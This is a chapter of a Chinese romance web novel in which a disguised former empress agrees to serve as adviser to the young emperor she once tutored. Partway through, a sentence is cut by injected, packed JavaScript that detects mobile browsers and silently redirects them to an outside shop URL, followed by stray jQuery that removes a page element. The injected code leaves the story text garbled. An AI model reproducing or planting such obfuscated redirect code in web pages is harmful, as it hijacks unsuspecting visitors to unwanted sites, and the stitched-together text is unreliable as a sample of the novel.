殿内一时静了下来,只余窗外偶尔掠过的风声。
上官婉宁静立在君昊天身侧,目光细细打量着熟睡的少年。不过月余未见,他竟是清瘦了不少,下颌的线条愈发凌厉,眼下的青黑也重了许多。
她心中不由轻轻一叹:这九五之尊的位置,当真是如人饮水,冷暖自知。不过是个未满十八岁的少年郎,却要扛起这万里江山的重担,当真难为他了。
正思忖间,目光无意间扫过龙案一角,那里摊着一本翻开的奏折。
上官婉宁随手拿起翻看了几页,眸色微微一动。
原来竟是朝中几位老臣联名上奏,劝君昊天将那位归隐山林的“宁先生”请出山,入朝为官,为国效力。
她将奏折轻轻放回原处,转身悄无声息地走出了御书房。
廊下,贵喜正垂手侍立着。
上官婉宁放缓了语调,轻声问道:“喜公公,你素来伴驾左右,几乎是与皇上形影不离的吧?”
贵喜恭恭敬敬地应道:“回先生的话,正是如此。”
上官婉宁望着远处巍峨的宫墙,语声轻缓却带着几分认真:“贵喜,我本不该,也无资格过问朝中之事。但你是知晓我真实身份的人,故而我想问一句——如今朝中的大臣们,对这位‘宁先生’,是否颇为关注?”
贵喜闻言微微一顿,似是有些犹豫,斟酌片刻后才回道:“回小姐的话,确是如此。自边境之战大捷后,您便再未在人前露过面。皇上虽对外宣称,您是隐于山林的世外高人,不愿入朝为官。可架不住朝中大臣们心心念念,时常递折子劝皇上,说小姐这般经天纬地的大才,乃是国之栋梁,万不能就此埋没,理当为朝廷效命。只是……每一次,皇上都毫不犹豫地驳回了这些提议。”
上官婉宁静静听着,心中百感交集。
她转过身,再次踏入御书房,目光落在君昊天那张俊美却写满疲惫的脸上,久久未曾移开。
她在心底默默思忖:他于我有救命之恩,待我更是亲如手足,情同姐弟。我脑中藏着的那些,是与这个时代截然不同的知识与见闻。况且,我也确实需要一份差事,来填满这略显平淡的日子。如此说来,我是否该尽己所能,帮他分担一些肩上的重担?只是……我的身份太过复杂,一旦踏入这朝堂,怕是要打破这数月来难得的平静了。
一念及此,她忍不住轻轻叹了口气。
细微的叹息声,却惊醒了浅眠的君昊天。
他缓缓睁开眼,眸中还带着一丝惺忪的睡意,待看清身侧静立的身影时,眼中瞬间迸发出璀璨的光芒,嘴角抑制不住地扬起,语气里满是惊喜:“阿宁?你何时来的?怎么不叫醒我?”
上官婉宁看着他眼底的红血丝,忍不住淡笑道:“我才来没多久。既是困了,为何不去偏殿的软榻上歇息?这般趴在桌案上睡,于身子无益。”
君昊天揉了揉眉心,俊朗的脸上露出一抹略带歉意的笑:“许是昨夜批折子熬得晚了些,今日竟这般困。对了阿宁,你今日入宫,可是有什么要事?”
上官婉宁摇了摇头,声音轻柔得像拂过耳畔的风:“无事。只是闲来无事,想来看看你。”
“真的?”君昊天闻言,竟像个得了糖的孩子一般,眉眼弯弯地傻笑道,语气里满是雀跃。
上官婉宁看着他眼下浓重的青黑,心中微涩,语气愈发认真:“昊天,再忙也要记得歇息。身子是本钱,若是累垮了,这万里江山,你又该托付给谁?”
君昊天重重点头,脸上的笑容温暖依旧:“阿宁放心,我心里有数。定会好好保重身子的。”
上官婉宁沉默片刻,抬眸看向他,眼神郑重:“昊天,你前些日子问我,日后有何打算。这几日,我已经想清楚了。我想暂且帮你‘打工’,不知你这个‘老板’,可愿意聘用我?”
君昊天脸上的笑容蓦地一僵,他定定地看着上官婉宁,语气无比认真:“阿宁,你不必为了我,勉强自己做决定。这朝堂之上,波谲云诡,远非你想象的那般简单。”
上官婉宁闻言,忍不住莞尔一笑,眉眼间漾起几分浅淡的暖意:“昊天,这世间,再无人比你更懂我的性子。这天下虽大,可若想寻一份合我心意的差事,怕是比登天还难。思来想去,也只好求助于你这个——昔日的学生,如今的皇帝弟弟了。”
君昊天的心底早已是狂喜翻涌,只要能日日见到她,便是让他付出再多,他也心甘情愿。可面上,他依旧强压着激动,担忧地说道:“阿宁,你若真的入朝帮我,日日出入皇宫,难免会遇上那些曾见过你的老臣,还有如今满朝皆知你的将军们。如此一来,你的身份定然会暴露。届时,天下人都会知晓,那名动京华的‘宁先生’,不只是上官太傅,更是南园国那位早已被传薨逝、未曾受封的皇后——上官婉宁。这会给你招来多少无端的非议与麻烦,你可想过?”
上官婉宁闻言,只是淡淡摇了摇头,语气平静无波:“这些,我早已想过。不过世人如何议论,于我而言,不过是过眼云烟,不值一提。”
君昊天太了解她了,一旦是她下定决心的事,便是九头牛也拉不回来。
他索性不再劝阻,眉眼含笑地问道:“既然如此,那阿宁想做些什么?你想要我给你封个什么官职?”
上官婉宁弯了弯唇角,笑意清浅:“昊天,我于朝堂之事,其实也算不上精通。官职什么的,就不必了。你且让我做你的顾问,帮你打打杂,做个文书助理便好。况且……我不是早已顶着个‘太傅’的头衔了么?”
君昊天闻言,忍不住低笑出声,眼底的兴奋与喜悦几乎要溢出来:“阿宁的意思是……我们又能像在毛山上那般相处了?还记得那时,我们每日一同晨起,一同梳洗,一同晨练,一同用膳,一同读书论政……那般的日子,当真是快活。”
看着他这般沉浸在往
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376331|196056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
昔回忆里的模样,上官婉宁无奈地摇了摇头,淡笑着提醒道:“昊天,此一时彼一时。那时的你,还是个无忧无虑的少年郎,我们身处的,是毛山上与世隔绝的一方净土。可如今的你,是这大庆王朝的九五之尊,脚下踩着的,是这深宫大殿的万里红墙。你可还记得,我曾与你说过,我对工作的要求与态度?”
这番话,瞬间将君昊天从美好的幻想中拉回了现实。
他收敛了脸上的笑意,认真点头道:“我记得。你说,你希望的工作,是每日只做四个时辰,且每七日,便要休沐两日。”
“正是。”上官婉宁颔首,语气斩钉截铁,“所以,即便我帮你打杂,做你的文书助理,这规矩也不能破。而且,我绝不会住在宫里。”
君昊天望着她,眼中满是温柔的笑意,语气无比诚恳:“阿宁,能与你共事,于我而言,已是天大的幸事,荣幸之至。”
他心中更是暗自欢喜:阿宁,只要能时时见到你,于我而言,便已是意外之喜。这般,我便知足了。
上官婉宁沉吟片刻,又道:“昊天,你再帮我备一套朝服吧。既做了你的顾问,自然要随你一同上朝,方能在旁时时给你些建议。”
君昊天闻言,当即含笑点头:“好。我这就吩咐下去,让尚衣局加紧赶制。”
“那我便先回府了。”上官婉宁微微颔首,语气轻快,“明日卯时,我会准时来宫里‘报到’。”
回到清林别院,上官婉宁刚落座,小若便端上了一盏温热的雨前茶。
她轻啜一口,抬眸看向侍立在旁的小若,语气认真道:“小若,从明日起,我便要入宫当差了。每日申时,方能回来。往后,怕是要留你一人在家了。”
小若闻言,不由得一愣,眼底满是惊讶:“公子……您要去帮皇上做事了?”
上官婉宁放下茶盏,轻轻点头,唇边漾起一抹浅淡的笑意:“小若,你且去街上一趟,帮我买几套女装回来。从明日起,我便恢复女儿身,不必再穿着男装了。”
“小姐!”小若霎时睁大了眼睛,脸上满是抑制不住的欣喜,声音都微微发颤,“您……您真的要穿回女装了?”
上官婉宁看着她这般雀跃的模样,忍不住轻笑出声:“嗯。去吧,顺便也给你自己挑些喜欢的衣裳首饰,算在我的账上。”
“哎!谢谢小姐!”小若欢天喜地地应了,脚步轻快地跑了出去,裙摆飞扬,像一只快活的小蝴蝶。
望着她远去的背影,上官婉宁不由得喃喃自语:“这丫头的性子,倒是与乐儿那般相像,一样的活泼,一样的开朗……”
提及故人,她的目光不由得黯淡了几分,轻轻叹了口气,语声里带着几分怅惘:“乐儿,我今日这般决定,往后怕是要惹上不少无谓的麻烦了……你说,我这般做,究竟是对,还是错呢?”
房内静悄悄的,唯有窗外的风声,在耳边轻轻回响。